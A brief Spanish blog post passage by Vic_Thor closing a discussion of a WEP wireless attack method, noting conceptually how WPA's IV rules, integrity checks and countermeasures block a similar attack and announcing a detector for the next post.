No vamos a menospreciar al “lento”, nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV’s no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar “contramedidas” y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.
Ahora, un detector, para el siguiente post.
By Vic_Thor
Comments (0)
Publicar un comentario